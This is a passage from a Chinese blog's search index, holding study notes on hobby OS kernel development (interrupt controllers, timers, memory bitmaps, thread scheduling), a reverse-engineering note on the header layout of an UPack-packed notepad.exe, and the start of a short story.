root_dir_lba:0x%x\\n", sb.data_start_lba); printk("%s format done\\n", part->name); sys_free(buf);}\n\n磁盘内容分布如下:\n\n第一扇区中存在一个Boot Block,也就是EBR或者MBR,然后紧跟着的是占用一个扇区的超级块,其结构如下:\n/* 超级块 */struct super_block { uint32_t magic; // 用来标识文件系统类型,支持多文件系统的操作系统通过此标志来识别文件系统类型 uint32_t sec_cnt; // 本分区总共的扇区数 uint32_t inode_cnt; // 本分区中inode数量 uint32_t part_lba_base; // 本分区的起始lba地址 uint32_t block_bitmap_lba; // 块位图本身起始扇区地址 uint32_t block_bitmap_sects; // 扇区位图本身占用的扇区数量 uint32_t inode_bitmap_lba; // i结点位图起始扇区lba地址 uint32_t inode_bitmap_sects; // i结点位图占用的扇区数量 uint32_t inode_table_lba; // i结点表起始扇区lba地址 uint32_t inode_table_sects; // i结点表占用的扇区数量 uint32_t data_start_lba; // 数据区开始的第一个扇区号 uint32_t root_inode_no; // 根目录所在的I结点号 uint32_t dir_entry_size; // 目录项大小 uint8_t pad[460]; // 加上460字节,凑够512字节1扇区大小} __attribute__ ((packed));#endif\n\n该超级块中表明了分区的扇区数、inode数、根目录位置等信息。通过magic来确定文件系统类型或判断是否存在文件系统。\n在ide通道初始化完成以后,操作系统就已经获得了有关磁盘和分区的主要信息。但分区并没有建立文件系统。\nfilesys_init函数负责从ide通道中获取每个分区,然后通过partition_format函数初始化每个分区。\npartition_format函数首先初始化超级块,然后是块位图以及inode位图,再之后初始化inode数组和根目录。\n\n这里插入一点关于rootfs的内容。其实现在所实现的根目录就是一个简化版的rootfs。\n真正的rootfs在内核开启时第一个被挂载,由它提供根目录‘/’,并从该目录下会加载出一些初始化脚本和服务到内存,init进程也运行在根目录文件系统上。\nhttps://cloud.tencent.com/developer/article/1791275\n\n\n插画ID:1134778859747008514(tw)\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter7笔记与总结","url":"/2022/01/31/systemkernel-chapter7/","content":"PART 1    首先,计算机的中断根据其来源可分为内部和外部。外部中断常常是由外部设备发起,或是计算机遇到了某些遭难性错误而发生,相对于内部中断的发生频率来说要小些。因此也仅做了解。\n    而内部中断则要更加常见,根据其发出中断来源分为软中断和异常。软中断是由软件主动或被动发起的,一般是 “INT” 族的指令主动调用的。这类指令均已在处理器中编码,并通过数据线连接到芯片上。即实际向处理器发出中断的是8259A芯片组。8259A芯片的几个IRQ接口(Interrupt ReQuest:中断请求接口)已经预先和其他的可能发出中断的设备连接好了,对应关系如下(但这些IRQ并不是所有引脚,8259A每个芯片似乎有28个引脚)。\n\n    如IRQ0的时钟中断会在处理器加电以后自动且定期地向8259A芯片发出中断(定期:根据8253计数器的设定频率发生)。\n    接下来,只要对8259A芯片进行编程,就能够实现硬件层面的中断控制了,诸如中断屏蔽或中断优先级等。编程仅分为初始化和操作,通过ICW1ICW4(Initialization Command Words)初始化,OCW1OCW3(Operation Command Words)操作。\n    ICW1:规定8259的连接方式(单片或级联)与中断源请求信号的有效形式(边沿或电平触发)\n\n    ICW2(中断类型码字):设置中断类型码的初始化命令字\n\n    ICW3(级连控制字):标志主片/从片的初始化命令字\n\n    ICW4(中断结束方式字):方式控制初始化命令字\n\n\n注:\n    ICW必须按照顺序分别写入主片和从片,ICW1写入主片0x20,从片0xA0端口;ICW2~4写入主片0x21,从片0xA1端口。\n\nOCW1:用于对中断屏蔽寄存器IMR进行读/写。\n\nOCW2:用于设定中断优先级\n\nOCW3:设置或清除特殊屏蔽方式和读取寄存器状态(IRR 和 ISR)\n\n\n注:\n    OCW无写入顺序要求,OCW1写入主片0x21,从片0xA1端口;OCW2~3写入主片0x20,从片0xA0端口\n\n/* 初始化主片 */outb (PIC_M_CTRL, 0x11); // ICW1: 边沿触发,级联8259, 需要ICW4.outb (PIC_M_DATA, 0x20); // ICW2: 起始中断向量号为0x20,也就是IR[0-7] 为 0x20 ~ 0x27.outb (PIC_M_DATA, 0x04); // ICW3: IR2接从片. outb (PIC_M_DATA, 0x01); // ICW4: 8086模式, 正常EOI/* 初始化从片 */outb (PIC_S_CTRL, 0x11); // ICW1: 边沿触发,级联8259, 需要ICW4.outb (PIC_S_DATA, 0x28); // ICW2: 起始中断向量号为0x28,也就是IR[8-15] 为 0x28 ~ 0x2F.outb (PIC_S_DATA, 0x02); // ICW3: 设置从片连接到主片的IR2引脚outb (PIC_S_DATA, 0x01); // ICW4: 8086模式, 正常EOI/* 打开主片上IR0,也就是目前只接受时钟产生的中断 */outb (PIC_M_DATA, 0xfe);outb (PIC_S_DATA, 0xff);\n\nPART 2    现在,中断已经会正常触发了。但仅仅只是触发中断而已,触发以后的关键——中断处理程序还没能实现。中断发生流程如下:\n设备发出中断信号给8259芯片,芯片检测是否屏蔽该设备发出的中断,若未屏蔽,则通知处理器发生中断且告知处理器中断号,否则直接忽略该信号。处理器收到中断信号以后,先将上下文保存,然后关闭中断,访问IDTR(Interrupt Descriptor Table Register)获取中断描述表,以中断号为索引获得对应的中断描述符,通过描述符内容调用对应的中断处理程序。\n\n注:此处所指的上下文是指SS、ESP、EFLAGS、CS、EIP,以及所有通用寄存器。但如果没有发生特权级转移,SS和ESP则不需要被保存,直接沿用即可。\n另外需要注意的是,中断的特权级转移同样指会从低特权级向高特权级转移。因此同样也必须要求,触发中断的调用者特权级低于或等于被调用者的特权级\n\n        门描述符如下:主要用到中断门描述符(8 Byte)\n\n    此类描述符将构成中断描述符表,并将其起始地址加载进IDTR(IDT Register)\nstruct gate_desc { uint16_t func_offset_low_word; uint16_t selector; uint8_t dcount; uint8_t attribute; uint16_t func_offset_high_word;};static void make_idt_desc(struct gate_desc* p_gdesc, uint8_t attr, intr_handler function) { p_gdesc->func_offset_low_word = (uint32_t) function & 0x0000FFFF; p_gdesc->selector = SELECTOR_K_CODE; p_gdesc->dcount = 0; p_gdesc->attribute = attr; p_gdesc->func_offset_high_word = ((uint32_t) function & 0xFFFF0000) >> 16;}static void idt_desc_init(void) { int i; for (i = 0; i < IDT_DESC_CNT; i++) { make_idt_desc(&idt[i], IDT_DESC_ATTR_DPL0, intr_entry_table[i]); } put_str("idt_desc_init done.\\n");}//intr_entry_table是中断处理函数的入口函数,仅做保存上下文和调用真正的处理函数这两个工作static void exception_init(void) { int i; for (i = 0; i < IDT_DESC_CNT; i++) { idt_table[i] = general_intr_handler; intr_name[i] = "unknown"; } intr_name[0] = "#DE Divide Error"; intr_name[1] = "#DB Debug Exception"; intr_name[2] = "NMI Interrupt"; intr_name[3] = "#BP Breakpoint Exception"; intr_name[4] = "#OF Overflow Exception"; intr_name[5] = "#BR BOUND Range Exceeded Exception"; intr_name[6] = "#UD Invalid Opcode Exception"; intr_name[7] = "#NM Device Not Available Exception"; intr_name[8] = "#DF Double Fault Exception"; intr_name[9] = "Coprocessor Segment Overrun"; intr_name[10] = "#TS Invalid TSS Exception"; intr_name[11] = "#NP Segment Not Present"; intr_name[12] = "#SS Stack Fault Exception"; intr_name[13] = "#GP General Protection Exception"; intr_name[14] = "#PF Page-Fault Exception"; // intr_name[15] 第15项是intel保留项,未使用 intr_name[16] = "#MF x87 FPU Floating-Point Error"; intr_name[17] = "#AC Alignment Check Exception"; intr_name[18] = "#MC Machine-Check Exception"; intr_name[19] = "#XF SIMD Floating-Point Exception";}//idt_table是真正的中断处理函数//intr_entry_table中的中断处理函数入口函数中存在指令://call [idt_table + %1*4]\n\nPART 3    时钟频率。\n    计算机是时钟分为外部时钟和内部时钟。\n    内部时钟由主板上的晶体振荡器产生,或称之为“晶振”。处理器和南北桥的通信基于该频率,称之为“外频”。外频×倍频=主频,处理器取指、执行的时钟周期基于主频。内部时钟出厂时固定,一般是最快的,单位常为纳秒ns。\n    外部时钟是处理器与外部设备之间通信时采用的时序。一般是毫秒ms或秒s级别。\n    处理器的速度显然是远快于外部设备的,但只要外部设备需要同计算机进行数据交换,就需要将双方的时钟按照一定比例同步。\n\n一个简单例子是:\n    处理器会在每次中断的时候从外部设备的固定端口读取数据。\n    假设处理器频率100HZ,外部设备只能接受最高10HZ的传输速率,为了保证数据的稳定传输,就需要将处理器发送中断的频率降低到10HZ。我们显然不能真的去降低处理器的频率,那样未免有过多的浪费了,因此我们另外引入一个“计时器”,让这个计算器代替处理器去发出时钟中断信号,这样就能保证处理器原有的运行频率,同时降低发出中断的频率了。\n    当然,处理器要比100HZ,外部设备一般也不会慢到10HZ,这里只是大个好懂的比方罢了。\n\n        例中的“计时器”便是指8253芯片。该芯片自带三个计数器,每个计数器自带三个寄存器。\n\n    计数初值寄存器、减法寄存器、输出锁存器三个寄存器的功能根据名字便能大概理解了。就是将计数初值寄存器放入减法寄存器,同时将计数器的GATE引脚置1,减法计数器就会在每个CLK到来时降低1,当其值为0时,将会发送信号并停止计数/重新开始。不过值得在意的是,计数器的CLK引脚连接的是10MHZ脉冲,而8253的频率只有2MHZ。\n    8253的编程更加容易,其只有一个控制字。三个计数器分别对应的端口是0x40~0x42。控制字结构如下:\n\n    而0x43端口将用于写入初值。\n但需要注意的是,计数器0的发送端已经和8259A芯片的IRQ0连接好了。也就是说,默认加电以后,这里面就会被自动赋予一个初值并开始发送时钟中断信号。所以时钟中断信号一开始就从这里发出,想要调节频率,只需要修改计数器0中的初值寄存器中的值即可。\n/* 把操作的计数器counter_no、读写锁属性rwl、计数器模式counter_mode写入模式控制寄存器并赋予初始值counter_value */static void frequency_set(uint8_t counter_port, \\ uint8_t counter_no, \\ uint8_t rwl, \\ uint8_t counter_mode, \\ uint16_t counter_value) {/* 往控制字寄存器端口0x43中写入控制字 */ outb(PIT_CONTROL_PORT, (uint8_t)(counter_no << 6 rwl << 4 counter_mode << 1));/* 先写入counter_value的低8位 */ outb(counter_port, (uint8_t)counter_value);/* 再写入counter_value的高8位 */ outb(counter_port, (uint8_t)counter_value >> 8);}/* 初始化PIT8253 */void timer_init() { put_str("timer_init start\\n"); /* 设置8253的定时周期,也就是发中断的周期 */ frequency_set(CONTRER0_PORT, COUNTER0_NO, READ_WRITE_LATCH, COUNTER_MODE, COUNTER0_VALUE); put_str("timer_init done\\n");}\n\n插画ID:93758526\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter8 笔记与警醒","url":"/2022/02/04/systemkernel-chapter8/","content":"\n    读这章遇到的最大的问题就是:“我意会错了这一章想给我讲什么”,以至于整章读完十分困惑,一开始的问题没能解决以至于错过了很多东西,最终效果不是很好……\n    现在来重新梳理一下本章的内容究竟是在讲什么,解决什么问题。\n\nPART 1    我将makefile、ASSERT、字符串操作,以及位图操作四个小节划分为第一部分,最后一节作为第二部分。\n    第一部分的内容不多,只涉及一些操作的实现,并没有具体到“欲解决的问题”。因此只需要了解其实现的原理,在以后需要自己手动实现的时候回顾即可。笔者以为不需要对这部分做过多的记录。\n    不过位图操作的概念和Part 2有一定的联系,因此在这里也需要再提几句。\n    位图(bitmap)的概念即将”bit位同一个具体事物间建立映射关系,用0和1标识事物的两个状态”。具体到之后的内存管理就是:\n\n以后的内存分配将以“内存页”为基本单位进行分配。建立位图和整块内存的映射关系,用1标识该内存页已被分配,用0标识该内存页未被分配。\n建立完成以后,从此便只需要扫描位图中的每个bit就能够得知内存中哪个内存页可用,方便以后进行内存分配。\n\nstruct bitmap { uint32_t btmp_bytes_len; uint8_t* bits;};//位图是储存在内存里的,在平坦模式下的位图只需要一个指针加上标识位图长度的flag足矣。\n\nint bitmap_scan(struct bitmap* btmp, uint32_t cnt) { uint32_t idx_byte = 0; while (( 0xff == btmp->bits[idx_byte]) && (idx_byte < btmp->btmp_bytes_len)) { idx_byte++; } ASSERT(idx_byte < btmp->btmp_bytes_len); if (idx_byte == btmp->btmp_bytes_len) { return -1; } int idx_bit = 0; while ((uint8_t)(BITMAP_MASK << idx_bit) & btmp->bits[idx_byte]) { idx_bit++; } int bit_idx_start = idx_byte * 8 + idx_bit; if (cnt == 1) { return bit_idx_start; } uint32_t bit_left = (btmp->btmp_bytes_len * 8 - bit_idx_start); // 记录还有多少位可以判断 uint32_t next_bit = bit_idx_start + 1; uint32_t count = 1; bit_idx_start = -1; while (bit_left-- > 0) { if (!(bitmap_scan_test(btmp, next_bit))) { count++; } else { count = 0; } if (count == cnt) { bit_idx_start = next_bit - cnt + 1; break; } next_bit++; } return bit_idx_start;}\n\nPART 2    节名“内存管理系统”,但本节所指的内存是“物理内存”,本节管理的对象也是“物理内存”,而不是“虚拟内存”,但因为分页机制已经启用,所以本节所用的地址却是”虚拟地址“。但本节似乎过早的介绍了多进程中”每个进程独享4G地址空间“的概念,以至于我一直以为它接下来会实现这个功能,但结论并非如此,所以我算是扑空了。\n    本节的逻辑是这样的:\n    首先为了区分虚拟地址和物理空间,建立了”虚拟地址池“和”物理内存池“。同时,我们将整个物理内存分为”用户物理内存池“和”内核物理内存池“。\n    此处”建立“一次的过程包括:界定内存池基址、位图清零两个过程。\n    然后是构建分配机制。\n\n从虚拟地址池分配内存页\n从物理内存池分配内存页\n建立虚拟地址和物理地址的映射关系\n\n    但本节只涉及到了分配,却没用对应的归还操作。也不知道之后几章会不会涉及。\n    同时需要注意到,本节并未给内核建立独立的页表。我此前一直抱有”不同进程有着相同的虚拟地址“这一问题,也知道这需要通过切换页表来实现,但本节并未实现这个功能,它只是为内核添加了分配内存的能力罢了。具体看如下内容。\n    笔者认为最后一步是最难理解也最重要的。代码如下:\nstatic void page_table_add(void* _vaddr, void* _page_phyaddr) { uint32_t vaddr = (uint32_t)_vaddr, page_phyaddr = (uint32_t)_page_phyaddr; uint32_t* pde = pde_ptr(vaddr); uint32_t* pte = pte_ptr(vaddr); if (*pde & 0x00000001) { // 页目录项和页表项的第0位为P,此处判断目录项是否存在 ASSERT(!(*pte & 0x00000001)); if (!(*pte & 0x00000001)) { *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 } else { PANIC("pte repeat"); *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 } } else { // 页目录项不存在,所以要先创建页目录再创建页表项. uint32_t pde_phyaddr = (uint32_t)palloc(&kernel_pool); *pde = (pde_phyaddr PG_US_U PG_RW_W PG_P_1); memset((void*)((int)pte & 0xfffff000), 0, PG_SIZE); ASSERT(!(*pte & 0x00000001)); *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 }}\n\n    虚拟地址是根据位图进行分配的,如果每个进程都存在一个位图的话,这里就可能出现相同的虚拟地址,但page_table_add函数是根据虚拟地址来获取pde和pte的,则相同的虚拟地址必然会出现冲突。因此本节并不是在解决这个问题,上面的函数实际实现的是平坦模式下单任务系统的内存分配,也就是在虚拟地址不会出现重复的情况下,为用户和内核分配内存以供其能够动态调整内存的使用。所以这里的”虚拟地址“是 ”无物理地址直接映射的虚拟地址“,而不是 ”虚拟内存空间中的虚拟地址“。理解这一点以后,本节就应该没有其他问题了。\n    page_table_add的逻辑是:\n\n通过虚拟地址得到此地址会被换算到的PDE和PTE\n如果页目录已经有对应的页表,那么直接把页表项填入物理地址即可建立映射\n如果页目录本项还未映射到具体的页表,那就申请一块内存页作为新的页表把它写在此PDE处,然后在新页表出写入物理地址\n\n        不过读的时候还在好奇为什么能用pte去当memset的参数,其实只需要记住pte是一个虚拟地址,是算出来的,在传入memset的时候还会在MMU中重新计算即可。\n\nPART 3总结:\n\n    本节最终实现的是一个简化的平坦模式下内存分配器。建立的也只是平坦模式下的虚拟地址和物理地址间的映射管理。并未涉及 ”虚拟内存“ 的概,所有地址都应该保证不重复,否则会像double free那样出问题(此处会直接kernel panic)\n    同时,我们用的是”虚拟地址“,只需要记住我们用到的地址大多都是虚拟地址即可,就不容易出错了。\n\n琐碎:\n    可能是因为这几天状态很糟糕,每天都处于严重的睡眠不足的情况导致的(春节期间的麻烦太多了),脑子在看书的时候很难集中注意力,以至于会意错了作者的意图……\n插画ID:77309888\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter9 笔记与注意","url":"/2022/02/06/systemkernel-chapter9/","content":"\nPART 1\n问:进程和线程的关系是什么?\n答:进程=线程+资源\n\n    本书第一节用非常冗长的语言描述这个问题。但总而言之归纳几点就是:\n\n线程是操作系统调度的基本单位\n进程=线程+资源\n线程是一个 “执行流” 概念,不需要过多去解读这个词语。\n出于上面一点,能将所有程序分为 “单线程进程” 和 “多线程进程”。即普通的未使用线程功能的程序也能算作 “单线程进程”\nLinux系统下称进程为 “任务”(Task) ,但进程和线程是概念性的事物,而任务是实现上的结果,不需要过度去在意其称呼。\nLinux下的线程实现来自于POSIX线程库,自Linux2.6以后,因为NPTL的成功,该方案支持的线程的内核级的。只有一些古老的版本会有用户级线程\n\n\n本节也提到了所谓 “上下文” 的概念:程序代码执行所依赖的 寄存器映像 和 内存资源。后者一般指的是堆和栈。\n\n\nPART 2    本章后半部分笔者曾在《深入Linux内核架构》中了解到些许,但对其实现十分费解,这次算是对实现也清楚一些了。但本章还留有一些问题,本书作者表示会在chapter 10解决它,但我目前还不清楚我遇到的问题是不是就是作者所说的,或许有一点偏差,但具体还要等笔者看完第十章再做评价。\n    首先是Linux架构里所用的“任务”PCB:(注释就不删了,个人觉得还对本章掌握的有点模糊,留着以后有问题了再看)\nstruct task_struct { uint32_t* self_kstack; // 各内核线程都用自己的内核栈 enum task_status status; char name[16]; uint8_t priority; uint8_t ticks; // 每次在处理器上执行的时间嘀嗒数/* 此任务自上cpu运行后至今占用了多少cpu嘀嗒数, * 也就是此任务执行了多久*/ uint32_t elapsed_ticks;/* general_tag的作用是用于线程在一般的队列中的结点 */ struct list_elem general_tag; /* all_list_tag的作用是用于线程队列thread_all_list中的结点 */ struct list_elem all_list_tag; uint32_t* pgdir; // 进程自己页表的虚拟地址 uint32_t stack_magic; // 边界标记,用于检测栈的溢出};\n\n    内核为支持多任务需要自己维护一张链表来让任务间能够切换。以PCB中的ticks代表时间片,每次时钟中断时将消减当前PCB中的时间片,在为0时进行一次调度(此前需要先关闭中断,以防止调度器被自己调度)。\nvoid schedule() { ASSERT(intr_get_status() == INTR_OFF); struct task_struct* cur = running_thread(); if (cur->status == TASK_RUNNING) { ASSERT(!elem_find(&thread_ready_list, &cur->general_tag)); list_append(&thread_ready_list, &cur->general_tag); cur->ticks = cur->priority; cur->status = TASK_READY; } else { } ASSERT(!list_empty(&thread_ready_list)); thread_tag = NULL; // thread_tag清空/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */ thread_tag = list_pop(&thread_ready_list); struct task_struct* next = elem2entry(struct task_struct, general_tag, thread_tag); next->status = TASK_RUNNING; switch_to(cur, next);}\n\nswitch_to: ;栈中此处是返回地址 push esi push edi push ebx push ebp mov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20] mov [eax], esp ; 保存栈顶指针esp. task_struct的self_kstack字段, ; self_kstack在task_struct中的偏移为0, ; 所以直接往thread开头处存4字节便可。;------------------ 以上是备份当前线程的环境,下面是恢复下一个线程的环境 ---------------- mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24] mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针, ; 用来上cpu时恢复0级栈,0级栈中保存了进程或线程所有信息,包括3级栈指针 pop ebp pop ebx pop edi pop esi ret ; 返回到上面switch_to下面的那句注释的返回地址, ; 未由中断进入,第一次执行时会返回到kernel_thread\n\n    调度函数中用作切换的switch_to是由汇编语言编写的。其过程为:\n\n保存现场 > 切换栈帧 > 恢复现场 > 返回线程\n\n    之所以ret对应了返回地址,是因为上一个线程在被调度时调用了schedule将自身保存在自己的栈中,在切换回原本的栈帧以后便能够重新恢复。\n\n注:kernel_thread中会先打开中断,然后跳转到对应线程。\n\n    不过因为内核自己也是一个进程,所以在开始调度之前应该先为内核本身生成PCB:\nstatic void make_main_thread(void) { main_thread = running_thread(); init_thread(main_thread, "main", 31); ASSERT(!elem_find(&thread_all_list, &main_thread->all_list_tag)); list_append(&thread_all_list, &main_thread->all_list_tag);}\n\n    另外再注册时钟中断函数:\nstatic void intr_timer_handler(void) { struct task_struct* cur_thread = running_thread(); ASSERT(cur_thread->stack_magic == 0x19870916); // 检查栈是否溢出 cur_thread->elapsed_ticks++; // 记录此线程占用的cpu时间嘀 ticks++; //从内核第一次处理时间中断后开始至今的滴哒数,内核态和用户态总共的嘀哒数 if (cur_thread->ticks == 0) { // 若进程时间片用完就开始调度新的进程上cpu schedule(); } else { // 将当前进程的时间片-1 cur_thread->ticks--; }}\n\n    多嘴一句,中断默认情况下是关闭的。且每次进入中断以后,处理器会自动关中断,直到执行“iret”指令或者手动开启中断(本质上应该是恢复eflags寄存器)。\n    所以schedule函数第一行能够成立:\nASSERT(intr_get_status() == INTR_OFF);\n\n    一般的中断调用结束时会调用iret指令恢复eflags寄存器来重开中断。所以一个隐蔽的情况是:(其实调试一下应该就能明白)\n\n调度程序的switch_to函数第一次调度时返回到kernel_thread,在该函数中开启中断;而在此后的调度中,会返回到jmp intr_exit指令出,在之后的iret指令下恢复eflags寄存器,从而开启中断。\n\n插画ID:75919964\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"UPack PE文件分析与调试","url":"/2021/03/06/upackpe/","content":"    参考文章:https://blog.csdn.net/learn112/article/details/112029389\n    您可以将本篇文章当作该参考文章的拓展版、翻译版、压缩版,总之算是结合之后自己上手的过程记录。若您发现文章中出现错误,请务必指正。\n    封面插图id:81508349\n    范例:notepad_upack.exe\n    准备工具:010Editor、Stud_PE\n    UPack:个人对其理解为一种压缩方法。将文件经过一定的算法编码压缩,在启动被压缩文件时将会按照逆过程解码。而其中比较经典的是其对PE文件头的压缩。我个人对这个过程的理解就是——将PE文件头原有的为可读性设计的格式打乱,在那些本不被用到的地方填补上需要用到的数据,最后将导入表等需要记录地址的数据改为那些本来不被使用的段落,以此减少空间浪费,但文件头不再拥有设计好的模板,最后阅读的时候会显得东拼西凑(指那些virtualaddress到处指,但是我觉得就算没压缩,看的时候还是感觉很乱就是了)……\n​​\n    上面两图分别为经过UPack压缩和未经过压缩的notepad.exe文件。在010的模板中可以明显看出其区别,至少010已经没办法识别出Section和SectionHeaders(实际上也识别出了节区头,但这个识别结果是错误的,在Upack压缩的PE模板里,NtHeader以下部分都会出现错误。)\n​​\n    而上图为Stud_PE分析出的区段结果,也有着明显的差异。(但既然分析的是压缩后的文件,所以还是以后图为准。但目前编者还不会直接通过阅读16进制文件来推算偏移、大小等(upack压缩后的被打乱了位置,没了模板就读不来的废物),所以目前还需要用到该工具)\n    以及还有一些奇怪的地方,在压缩后的文件中,第一和第三节区的实际偏移相同,实际大小相同,实际上是UPack压缩后产生的重叠节区。\n    (最后映射到内存中时,第一和第三节区会分别映射到不同的位置——1001000、1015000、1027000三处)\n    回到正题,首先观察下图。4D5A为签名,然后紧跟着就是KERNEL32.DLL,这个名字显然就是动态链接库的名称了。对比未压缩的文件,这个区域本来是无用的区域,所以用其他有用的东西填进去以弥补了空间浪费。\n​\n    另外一个需要注意的是,AddressOfNewExeHeader的数值被改为了10,这个数值在本来的文件中为E0。\n    DOS存根直接消失了,在模板中点开该栏后什么也没有。\n    以及Nt头中SizeOfOptionalHeade由E0增加到了148。\n​\n    但我们实际打开可选头的模板,010显示其大小为B0,并且NumberOfSections被降到了0A,少掉了6个数组(如图中蓝色区域为现存的表,而蓝色以下的紫区为被忽略的表,正好有6个被忽略了)。\n    (注:在实际中,16张表的数量其实是固定的,但有可能我们还需要用到更多的数据,这16张可能不太够,所以往往还需要另外输入NumberOfRvaAndSize的大小来规定该结构体内容的量)。\n    并且可以注意到,可选头从28开始,大小为148,但其结束点却只到D7,而不是170。\n    于是这些被扩增的区域实际上存放了UPack的解码代码(如图蓝色部分,但010的识别多了一行,还是忽视的比较好)\n​\n(反调试器中的该段位置对应的汇编代码)(ImageBase[1000000]+VisualOffset[1000]+D8=10010D8)\n​\n    接下来尝试计算文件实际的EP。\n​\n    AddressOfEntryPoitn为1018,VisualAddress为1000,而PointerToRawData在010中已经找不到了,从节区头开始,模板都是错误的,而该数值就在节区头中。\n​\n    猜了一下其位置,大致在这个蓝色加深的位置,但实际上手去找还是不太行。现在姑且当其为10。那么计算结果应为1018-1000+10=28\n​\n    跟入之后发现并不是动态链接库的名称。该盲区出自于这个PointerToRawData的数值和FileAliganment不成倍数(指其不为0/200/400/600/……)\n    (此处参考:http://blog.sina.com.cn/s/blog_1511e79950102xcws.html  之所以要有这种倍数关系,还是因为PE文件的对齐规范)\n    所以最后应把其当作0开始一个个试错,本例中1018-1000+0=18就已经得到答案了。\n​\n    (但这里遇到了一些奇怪的问题。不论在x32dbg还是ollydbg中,只要移动光标后,1001018处地址就会消失,被1001017取代,并且再也无法找回)\n    (不过我的Ollydbg在打开文件的时候就会自动加载到该位置,所以该问题暂时还无需顾虑……)\n计算导入表:\n​\n    VirtualAddress为271EE,对应第三区段,实际偏移RVA为271EE-27000=1EE\n​\n    (IMAGE_IMPORT_DESCRIPTOR结构体大小为6个DWORD类型数据,对应蓝色区域)\n    跟入02位置,即可见到刚才所说的kernel32.dll的名称。\n    (注:“该结构体之后既不是第二个结构体,也不是NULL结构体。实际上到从1EE~200便是第三节区的结束。运行时偏移在200以下的部分不会映射到第三个节区内存。”)\n    (01FF[第三节区]————27000271FF,而27200~28000则全由NULL填充)\n    以及11E8为IAT,换算后得到11E8-1000+0(同上计算盲区一样)=1E8(下图即为转入后数据。对应IAT域,也作为INT使用,也用NULL结束)\n​\n​\n调试:\n​\n    在图示附近存在存在一个大循环,观察堆栈信息猜测其为程序的解码过程。\n​\nCtrl+F7自动步进调试,最终卡在该处。将数据循环写入ESI当前位置,判断其真的是一个解码过程。至此完成调试。\n","categories":["Note","逆向工程"],"tags":["pe结构","upack","加密与解密"]},{"title":"红葡萄酒之疫","url":"/2021/02/08/wineepidemic/","content":"序言:\n 这个故事发生在一座名为“瑞蒂克洛斯”的城市。那里具体发生了什么我也不太清楚,但我有幸目睹了那场混乱的片段(我并不太清楚到底从哪个时间点开始才能算作算开端,所以不清楚自己是否得知全部的细节)。我既是旅人也是小说家,但本职或许是个记者,偶尔会写写报道和小说什么的,于是我觉得自己应该为这个人写点什么。哪怕我既怠惰又无能,也想把这份不被称为艺术的艺术留下。于是,就有了这么一则灰白色的故事。\n正文:\n 认识他的人,都说他是败类,是人类的残渣,可事实上,谁都没有这么说过。人们从没把他当一回事,只是热衷于对他犯下的恶行进行批判罢了。或许,这就是这座城市的潮流。\n 我无法欣赏他的艺术,更无法认同他的美学。但我又不得不承认他是正确的,是这世上独一无二的正确,是能让我甘愿却又无法为其牺牲的正确,是一种错误的、歪斜的正确。也许就是因为他太正确了,正确到人们无法理解、无法欣赏,所以他现在才会在那个地方——那个用以处决的高台……\n 大街小巷里灌满了报纸,上面刊登着各种各样的言论。这些东西改头换面的速度甚至比夏季的亚马逊河的流速还快。也许今天随手捡起的报纸上刊登的是柏拉图主义文章,明天就会有刊登着努斯底主义的报纸淹没人潮。从农村里出来的小伙子总是被这份热情吓到。惊呼出“难道住在这的人全都是思想家吗!”这种荒谬言论。\n 但那也是理所当然的,论谁看到了这样的景象,都会感到不可思议吧。街道上的行人、学校里的老师、甚至是酒馆里的醉鬼,都无时无刻不在向周围的人灌输自己的一套理论。他们也会向不同的人寻求意见来为自己的观点树立威信,但在矛盾冲突时总是不可避免的发生暴力事件,只不过最后往往会演变成数量上的比拼——谁的信奉者更多,谁往往就能够在打斗中胜出,像极了奴隶主之间的斗争。\n 就是在这样一个虚伪的崇尚思考的浪潮中,他不得不摇摇晃晃地,拖着肿胀的腿,在沸腾的声浪中寻求一份安宁。\n 但那是不可能的。他抗拒着一切外来的虚假与雍容,却饰演着一个传递思想的平庸信使。这是荒唐且可笑的,是他最厌恶也最无可奈何的现实;是他过去曾渴求的、憧憬的,也是过去的残片一一应验的结果。可他现在已经老了,变得沧桑且老迈。摆脱了名为“年轻”的束缚,他舍弃了自己的热情,变成了旁人不可理喻的样子。\n 但就连他自己也没想到,他会变得如此疯狂、如此无拘无束……\n 他不久前刚刚辞去了报社的工作成了街边的无业游民。同乞丐不同的是他没必要睡在桥洞或地下通道里。他是精明狡猾的狐狸,尽管他现在讨厌这种行为,却不得不承认手上握着的股票债券以及长久的积蓄救了他的命。但这有些夸张了,事实上,这些钱已经足够他阔绰地过完余生了。\n 靠着这些积蓄,他现在有着充足的时间去享乐了。他可以一天到晚都泡在酒吧里,也可以在游乐场像孩子一样闹腾,可他却是无趣的、不知享乐的囚犯。他压抑自己的欲望,给自己的手脚戴上镣铐,又将自己摔的七零八碎,让自己不再完整,只是终日郁郁寡欢,却又不知悔改。他无法忍受人群的喧闹,无法接受这股横行的潮流。他会走在街上,又或是坐在公园的长椅上,他会在那里和别人谈论自己的理念,阐述其深刻的道理。可街道的背景音乐是他没听过的曲子,是轻浮而俏皮的舞曲,而不是夜曲,更不是第九交响曲。人们大抵都没有明白他的理论和思想,只是在对自己的理想夸夸其谈,将某种主义的正面意义描述的天花乱坠,却对其负面影响视而不见,又或是根本就不清楚这借来的东西其真身究竟是什么,只是在复述上一个狂热的信徒的言语也说不定。因此,这里没有人会和他聊天。\n 于是他变得更加的忧郁,更加的抗拒这种廉价的浪潮。在他眼里,也许每一种主义都在这座城市里变得廉价,相当于一份土豆烩饭。人们像呼吸和进食一样习惯着这种廉价的思考,站在认同与否决的边界,跟随群众一起来回辗转。而他只能在一旁看着,因为别人的奴隶不能和其他奴隶主搭话。\n 